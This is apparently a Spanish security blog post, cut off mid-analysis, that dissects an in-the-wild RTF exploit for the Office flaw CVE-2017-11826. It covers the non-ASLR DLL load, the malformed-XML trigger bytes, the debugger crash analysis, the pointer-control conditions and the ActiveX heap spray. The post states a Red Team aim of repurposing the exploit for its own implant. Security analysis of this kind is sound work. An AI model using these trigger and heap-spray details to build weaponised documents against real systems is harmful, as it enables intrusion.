Cabecera blog ciberseguridad

Explotando Word: CVE-2017-11826

Coincidiendo con el inicio de una simulación de un APT por parte del Red Team, fue publicado un parche de Microsoft para corregir una vulnerabilidad (CVE-2017-11826) que afectaba a MS Office. El parche, que corregía una corrupción de memoria, fue publicado el 10 de Octubre. El 11 de Octubre la firma Qihoo 360 Core Security reportó haber encontrado malware explotando dicha vulnerabilidad durante el mes anterior (Septiembre).

Dada la exsitencia de una muestra de malware que explotaba esta vulnerabilidad, y el lapso de tiempo entre la publicación del parche y su aplicación, se optó por enfocar el ejercicio del Red Team partiendo de esta vulnerabilidad. En este artículo describiremos el contenido del archivo, y explicaremos como podemos modificar el exploit de Word para que ejecute nuestra carga útil, permitiéndonos usarlo para implantar nuestra propia solución APT.

0x01 – Análisis inicial del archivo con CVE-2017-11826

El exploit que se encontró es un archivo RTF. Analizando su contenido encontramos los siguientes componentes:

$ rtfobj cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
rtfobj 0.51 - https://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===============================================================================
File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes
---+----------+-------------------------------+-------------------------------
id |index     |OLE Object                     |OLE Package
---+----------+-------------------------------+-------------------------------
0  |0003972Dh |format_id: 1 (Linked)          |Not an OLE Package
   |          |class name: ''                 |
   |          |data size: N/A                 |
---+----------+-------------------------------+-------------------------------
1  |00039807h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 53248               |
---+----------+-------------------------------+-------------------------------
2  |000538E9h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 14336               |
---+----------+-------------------------------+-------------------------------

Si mostramos el contenido del RTF con una pequeña herramienta creada para la ocasión y examinamos los tres objetos, nos encontramos lo siguiente:

$ python2 rtf.py --input cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 --dump
[...]
        \object
        \objemb
            \*
            \oleclsid
            \'7bD5DE8D20-5BB8-11D1-A1E3-00A0C90F2731
            \'7d
            \*
            \objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000
            \result
                \pict
                \wmetafile8
                \picw1
                \pich1
                \
        \object
        \objemb
        \objsetsize
        \objw9361
        \objh764
            \*
            \objclass Word.Document.12
            \*
            \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000d00000d0cf11e0a1b11ae
[...]
        \object
        \objemb
        \objsetsize
        \objw9361
        \objh764
            \*
            \objclass Word.Document.12
            \*
            \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000380000d0cf11e0a1b11ae1

El primer objeto carga la librería identificada por el CLSID D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731. Podemos acceder al registro de Windows para saber a qué se refiere:

C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT /F "D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731" /c /s

HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}

End of search: 1 match(es) found.

C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\

HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
    (Default)    REG_SZ    VBPropertyBag

HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32

C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32

HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32
    (Default)    REG_SZ    C:\Windows\SysWOW64\msvbvm60.dll
    ThreadingModel    REG_SZ    Apartment

Esto hará que Word cargue esta DLL en memoria. ¿Qué tiene de especial esta librería?

msvbvm60 sin ASLR

msvbvm60 sin ASLR

Luego, la intención al cargar este módulo es tener una librería en una dirección conocida, para poder utilizar su código más adelante.

Los otros dos objetos incrustados en el RTF son dos archivos de Word. Podemos utilizar rtfobj para extraerlos:

$ rtfobj -s all cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
rtfobj 0.51 - https://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===============================================================================
File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes
---+----------+-------------------------------+-------------------------------
id |index     |OLE Object                     |OLE Package
---+----------+-------------------------------+-------------------------------
0  |0003972Dh |format_id: 1 (Linked)          |Not an OLE Package
   |          |class name: ''                 |
   |          |data size: N/A                 |
---+----------+-------------------------------+-------------------------------
1  |00039807h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 53248               |
---+----------+-------------------------------+-------------------------------
2  |000538E9h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 14336               |
---+----------+-------------------------------+-------------------------------
Saving raw data in object #0:
  saving object to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
Saving file embedded in OLE object #1:
  format_id  = 2
  class name = 'Word.Document.12'
  data size  = 53248
  saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
Saving file embedded in OLE object #2:
  format_id  = 2
  class name = 'Word.Document.12'
  data size  = 14336
  saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
 
$ l
total 748K
drwxr-xr-x  2 i i 4.0K Nov 30 11:27 .
drwxr-xr-x 11 i i 4.0K Nov 30 11:27 ..
-rw-r--r--  1 i i 665K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
-rw-r--r--  1 i i   45 Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
-rw-r--r--  1 i i  52K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
-rw-r--r--  1 i i  14K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc

$ file *
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5:                     Rich Text Format data, version 1, unknown character set
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw: locale data table
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc: Composite Document File V2 Document, Cannot read section info
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc: Composite Document File V2 Document, Cannot read section info

$ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -d 00039807.doc                                                                                                                             [55/515]
Archive:  cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc]:  1536 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: 00039807.doc/docProps/app.xml
  inflating: 00039807.doc/docProps/core.xml
   creating: 00039807.doc/word/activeX/
  inflating: 00039807.doc/word/activeX/activeX1.bin
  inflating: 00039807.doc/word/activeX/activeX1.xml
  inflating: 00039807.doc/word/activeX/activeX10.xml
  inflating: 00039807.doc/word/activeX/activeX11.xml
  inflating: 00039807.doc/word/activeX/activeX12.xml
  inflating: 00039807.doc/word/activeX/activeX13.xml
  inflating: 00039807.doc/word/activeX/activeX14.xml
  inflating: 00039807.doc/word/activeX/activeX15.xml
  inflating: 00039807.doc/word/activeX/activeX16.xml
  inflating: 00039807.doc/word/activeX/activeX17.xml
  inflating: 00039807.doc/word/activeX/activeX18.xml
  inflating: 00039807.doc/word/activeX/activeX19.xml
  inflating: 00039807.doc/word/activeX/activeX2.xml
  inflating: 00039807.doc/word/activeX/activeX20.xml
  inflating: 00039807.doc/word/activeX/activeX21.xml
  inflating: 00039807.doc/word/activeX/activeX22.xml
  inflating: 00039807.doc/word/activeX/activeX23.xml
  inflating: 00039807.doc/word/activeX/activeX24.xml
  inflating: 00039807.doc/word/activeX/activeX25.xml
  inflating: 00039807.doc/word/activeX/activeX26.xml
  inflating: 00039807.doc/word/activeX/activeX27.xml
  inflating: 00039807.doc/word/activeX/activeX28.xml
  inflating: 00039807.doc/word/activeX/activeX29.xml
  inflating: 00039807.doc/word/activeX/activeX3.xml
  inflating: 00039807.doc/word/activeX/activeX30.xml
  inflating: 00039807.doc/word/activeX/activeX31.xml
  inflating: 00039807.doc/word/activeX/activeX32.xml
  inflating: 00039807.doc/word/activeX/activeX33.xml
  inflating: 00039807.doc/word/activeX/activeX34.xml
  inflating: 00039807.doc/word/activeX/activeX35.xml
  inflating: 00039807.doc/word/activeX/activeX36.xml
  inflating: 00039807.doc/word/activeX/activeX37.xml
  inflating: 00039807.doc/word/activeX/activeX38.xml
  inflating: 00039807.doc/word/activeX/activeX39.xml
  inflating: 00039807.doc/word/activeX/activeX4.xml
  inflating: 00039807.doc/word/activeX/activeX40.xml
  inflating: 00039807.doc/word/activeX/activeX5.xml
  inflating: 00039807.doc/word/activeX/activeX6.xml
  inflating: 00039807.doc/word/activeX/activeX7.xml
  inflating: 00039807.doc/word/activeX/activeX8.xml
  inflating: 00039807.doc/word/activeX/activeX9.xml
   creating: 00039807.doc/word/activeX/_rels/
  inflating: 00039807.doc/word/activeX/_rels/activeX1.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX10.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX11.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX12.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX13.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX14.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX15.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX16.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX17.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX18.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX19.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX2.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX20.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX21.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX22.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX23.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX24.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX25.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX26.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX27.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX28.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX29.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX3.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX30.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX31.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX32.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX33.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX34.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX35.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX36.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX37.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX38.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX39.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX4.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX40.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX5.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX6.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX7.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX8.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX9.xml.rels
  inflating: 00039807.doc/word/document.xml
  inflating: 00039807.doc/word/fontTable.xml
  inflating: 00039807.doc/word/media/image1.wmf
  inflating: 00039807.doc/word/settings.xml
  inflating: 00039807.doc/word/styles.xml
  inflating: 00039807.doc/word/theme/theme1.xml
  inflating: 00039807.doc/word/webSettings.xml
  inflating: 00039807.doc/word/_rels/document.xml.rels
  inflating: 00039807.doc/[Content_Types].xml
  inflating: 00039807.doc/_rels/.rels

$ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -d 000538E9.doc
Archive:  cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc]:  1536 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: 000538E9.doc/docProps/app.xml
  inflating: 000538E9.doc/docProps/core.xml
  inflating: 000538E9.doc/word/document.xml
  inflating: 000538E9.doc/word/endnotes.xml
  inflating: 000538E9.doc/word/fontTable.xml
  inflating: 000538E9.doc/word/footnotes.xml
  inflating: 000538E9.doc/word/settings.xml
  inflating: 000538E9.doc/word/styles.xml
  inflating: 000538E9.doc/word/theme/theme1.xml
  inflating: 000538E9.doc/word/webSettings.xml
  inflating: 000538E9.doc/word/_rels/document.xml.rels
  inflating: 000538E9.doc/[Content_Types].xml
  inflating: 000538E9.doc/_rels/.rels

unzip nos avisa de que antes del ZIP tenemos 1536 bytes extra. Esto es debido a que los objetos extraído del RTF no son docx directamente, sino CDF. Esto es un formato de archivo creado por Microsoft que básicamente es un contenedor de archivos (https://en.wikipedia.org/wiki/Compound_File_Binary_Format)

Más tarde veremos como procesar estos archivos, pero de momento continuemos con el análisis de los dos documentos extraídos.

0x02 – Análisis del trigger de la vulnerabilidad

Este archivo apenas tiene contenido. Podemos comenzar examinando el archivo document.xml:

$ xmllint word/document.xml
word/document.xml:7: parser error : Opening and ending tag mismatch: font line 6 and OLEObject
 
 ^
word/document.xml:8: parser error : Opening and ending tag mismatch: OLEObject line 5 and shapeDefaults
 
 ^
word/document.xml:9: parser error : Opening and ending tag mismatch: shapeDefaults line 4 and body
 
 ^
word/document.xml:10: parser error : Opening and ending tag mismatch: body line 3 and document

 ^
word/document.xml:10: parser error : Premature end of data in tag document line 2

Por lo visto este documento no está bien formado, puesto que tiene tags XML cuyo principio y fin no coinciden.

$ cat word/document.xml


 
 
 
 
 
 
 

El tag w:font está cerrado con un tag o:idmap . Podemos ver también una serie de caracteres extraños en su contenido:

[0x00000000 0% 2304 word/document.xml]> xc
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0123456789ABCDEF comment
[...]
0x000002a0 6175 6c74 7320 3e0d 0a09 0909 3c6f 3a4f 4c45 4f62 6a65 6374 203e 0d0a 0909 0909 aults >...........
0x000002c0 3c77 3a66 6f6e 7420 773a 6e61 6d65 3d22 4c69 6e63 6572 4368 6172 4368 6172 e8a3 ...
0x00000300 0909 3c2f 6f3a 4f4c 454f 626a 6563 743e 0d0a 0909 3c2f 773a 7368 6170 6544 6566 ......</w:shapeDef 0x00000320 6175 6c74 733e 0d0a 093c 2f77 3a62 6f64 793e 0d0a 3c2f 773a 646f 6375 6d65 6e74 aults>.....</w:document 0x00000340 3eff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff >...............................

Los bytes son e8a3ace0a288. Anotemos este valor para más adelante.

Pasemos a hacer una breve prueba bajo el depurador de la ejecución del exploit. Para ello, abrimos el documento con word y nos attacheamos con Windbg.

0:014> g
ModLoad: 69700000 6978c000   C:\Windows\SysWOW64\UIAutomationCore.DLL
ModLoad: 75510000 75515000   C:\Windows\syswow64\PSAPI.DLL
ModLoad: 696c0000 696fc000   C:\Windows\SysWOW64\OLEACC.dll
(814.e80): Unknown exception - code e0000002 (first chance)
ModLoad: 69680000 696b1000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
ModLoad: 69660000 6967f000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 69630000 6965f000   SHDOCVW.dll
ModLoad: 69600000 6962f000   C:\Windows\SysWOW64\shdocvw.dll
ModLoad: 69680000 696be000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
ModLoad: 69640000 6965f000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 69640000 69671000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
ModLoad: 696a0000 696bf000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
ModLoad: 69640000 6967e000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
ModLoad: 69680000 6969f000   C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
(814.e80): Unknown exception - code e0000002 (first chance)
(814.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - 
eax=088888ec ebx=00000000 ecx=088888ec edx=00000004 esi=0937b008 edi=0938854c
eip=6f6c82a3 esp=0029457c ebp=002945e8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
wwlib!DllGetLCID+0x2e1e19:
6f6c82a3 8b08            mov     ecx,dword ptr [eax]  ds:002b:088888ec=????????

Algo falla en el exploit, ya que Windbg ha cazado un crash por una lectura de una dirección de memoria inválida. Algo de contexto:

0:000> ub;u
wwlib!DllGetLCID+0x2e1dfc:
6f6c8286 0f84d268e9ff    je      wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c828c 8b4944          mov     ecx,dword ptr [ecx+44h]
6f6c828f 85c9            test    ecx,ecx
6f6c8291 0f84c768e9ff    je      wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c8297 8b4744          mov     eax,dword ptr [edi+44h]
6f6c829a 894844          mov     dword ptr [eax+44h],ecx
6f6c829d 8b4744          mov     eax,dword ptr [edi+44h]
6f6c82a0 8b4044          mov     eax,dword ptr [eax+44h]
wwlib!DllGetLCID+0x2e1e19:
6f6c82a3 8b08            mov     ecx,dword ptr [eax]
6f6c82a5 50              push    eax
6f6c82a6 ff5104          call    dword ptr [ecx+4]
6f6c82a9 e9b068e9ff      jmp     wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c82ae 83f802          cmp     eax,2
6f6c82b1 750f            jne     wwlib!DllGetLCID+0x2e1e38 (6f6c82c2)
6f6c82b3 8d4624          lea     eax,[esi+24h]
6f6c82b6 50              push    eax

Parece que la función en la que nos encontramos está leyendo un objeto desde eax y posteriormente llamando a un método en el offset 0x04, pasando su propia referencia en eax de nuevo.

¿De dónde viene el valor 0x088888ec, que está provocando un crash? Volvamos al contenido de document.xml que examinamos previamente. Allí vimos el valor extraño e8a3ace0a288. ¿Pueden tener alguna relación?

Los archivos XML de office están codificados en UTF-8. Sin embargo, las aplicaciones de Windows utilizan UTF-16 internamente:

$ python2
Python 2.7.14 (default, Sep 20 2017, 01:25:59)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> x = "e8a3ace0a288".decode("hex")
>>> unicode(x.decode("utf-8")).encode("utf-16-le")
'\xec\x88\x88\x08'
>>> hex(struct.unpack("<L", "\xec\x88\x88\x08")[0])
'0x88888ec'

Bingo :)

Luego, modificando este valor, podemos conseguir que Word lleve a cabo las siguientes operaciones. Digamos que asignamos un valor X a eax:

6f6c82a3 8b08            mov     ecx,dword ptr [X]
6f6c82a5 50              push    X
6f6c82a6 ff5104          call    dword ptr [X+4]

Por lo tanto, para poder controlar EIP, necesitamos colocar en una dirección de memoria controlada algo tal que:

Dirección    Valor
X            X
X + 4        EIP objetivo

¿Cómo lograr complir estas condiciones? Los autores del exploit lo hicieron mediante un heap spray.

0x03 – Análisis del heap spray

Examinando el contenido del primer objeto, cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc, inmediatamente nos llama la atención que contiene 40 objetos activeX. Esto nos recuerda a la técnica clásica de heap spraying en Office.

Veamos el contenido de document.xml, el cual describe el contenido del archivo:

[...]
 <w:object w:dxaOrig="1440" w:dyaOrig="1440">
 <v:shape id="_x0000_i1060" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 <v:imagedata r:id="rId4" o:title=""/>
 </v:shape>
 <w:control r:id="rId6" w:name="Image117" w:shapeid="_x0000_i1060"/>
 </w:object>
 </w:r>
 <w:r>
 <w:object w:dxaOrig="1440" w:dyaOrig="1440">
 <v:shape id="_x0000_i1058" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 <v:imagedata r:id="rId4" o:title=""/>
 </v:shape>
 <w:control r:id="rId7" w:name="Image116" w:shapeid="_x0000_i1058"/>
 </w:object>
 </w:r>
 <w:r>
 <w:object w:dxaOrig="1440" w:dyaOrig="1440">
 <v:shape id="_x0000_i1056" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 <v:imagedata r:id="rId4" o:title=""/>
 </v:shape>
 <w:control r:id="rId8" w:name="Image115" w:shapeid="_x0000_i1056"/>
 </w:object>
 </w:r>
 <w:r>
 <w:object w:dxaOrig="1440" w:dyaOrig="1440">
 <v:shape id="_x0000_i1054" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 <v:imagedata r:id="rId4" o:title=""/>
 </v:shape>
 <w:control r:id="rId9" w:name="Image114" w:shapeid="_x0000_i1054"/>
 </w:object>
 </w:r>
 <w:r>
 <w:object w:dxaOrig="1440" w:dyaOrig="1440">
 <v:shape id="_x0000_i1052" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 <v:imagedata r:id="rId4" o:title=""/>
 </v:shape>
 <w:control r:id="rId10" w:name="Image113" w:shapeid="_x0000_i1052"/>
 </w:object>
 </w:r>
 <w:r>
[...]

Para no hacer el post excesivamente largo se ha recortado el documento, pero el original contiene varios controles embebidos, desde el rId5 hasta el rId44. Si examinamos las referencias en el archivo word/_rels/document.xml.rels:

<Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships">
 <Relationship Id="rId8" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX4.xml"/>
 <Relationship Id="rId13" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX9.xml"/>
 <Relationship Id="rId18" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX14.xml"/>
 <Relationship Id="rId26" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX22.xml"/>
 <Relationship Id="rId39" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX35.xml"/>
 <Relationship Id="rId3" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/>
 <Relationship Id="rId21" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX17.xml"/>
 <Relationship Id="rId34" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX30.xml"/>
 <Relationship Id="rId42" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX38.xml"/>
 <Relationship Id="rId7" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX3.xml"/>
 <Relationship Id="rId12" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX8.xml"/>
 <Relationship Id="rId17" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX13.xml"/>
 <Relationship Id="rId25" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX21.xml"/>
 <Relationship Id="rId33" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX29.xml"/>
 <Relationship Id="rId38" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX34.xml"/>
 <Relationship Id="rId46" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
 <Relationship Id="rId2" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
 <Relationship Id="rId16" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX12.xml"/>
 <Relationship Id="rId20" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX16.xml"/>
 <Relationship Id="rId29" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX25.xml"/>
 <Relationship Id="rId41" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX37.xml"/>
 <Relationship Id="rId1" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
 <Relationship Id="rId6" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX2.xml"/>
 <Relationship Id="rId11" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX7.xml"/>
 <Relationship Id="rId24" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX20.xml"/>
 <Relationship Id="rId32" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX28.xml"/>
 <Relationship Id="rId37" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX33.xml"/>
 <Relationship Id="rId40" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX36.xml"/>
 <Relationship Id="rId45" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>
 <Relationship Id="rId5" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX1.xml"/>
 <Relationship Id="rId15" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX11.xml"/>
 <Relationship Id="rId23" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX19.xml"/>
 <Relationship Id="rId28" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX24.xml"/>
 <Relationship Id="rId36" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX32.xml"/>
 <Relationship Id="rId10" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX6.xml"/>
 <Relationship Id="rId19" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX15.xml"/>
 <Relationship Id="rId31" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX27.xml"/>
 <Relationship Id="rId44" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX40.xml"/>
 <Relationship Id="rId4" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.wmf"/>
 <Relationship Id="rId9" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX5.xml"/>
 <Relationship Id="rId14" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX10.xml"/>
 <Relationship Id="rId22" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX18.xml"/>
 <Relationship Id="rId27" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX23.xml"/>
 <Relationship Id="rId30" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX26.xml"/>
 <Relationship Id="rId35" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX31.xml"/>
 <Relationship Id="rId43" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX39.xml"/>
</Relationships>

Observamos que la gran mayoría apunta a los controles activeX. Estos documentos son todos idénticos y contienen:

 <ax:ocx xmlns:ax="https://schemas.microsoft.com/office/2006/activeX" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1"/>

Podemos encontrar las relaciones en la carpeta word/activeX/_rels. De nuevo, son todas idénticas y contienen:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships">
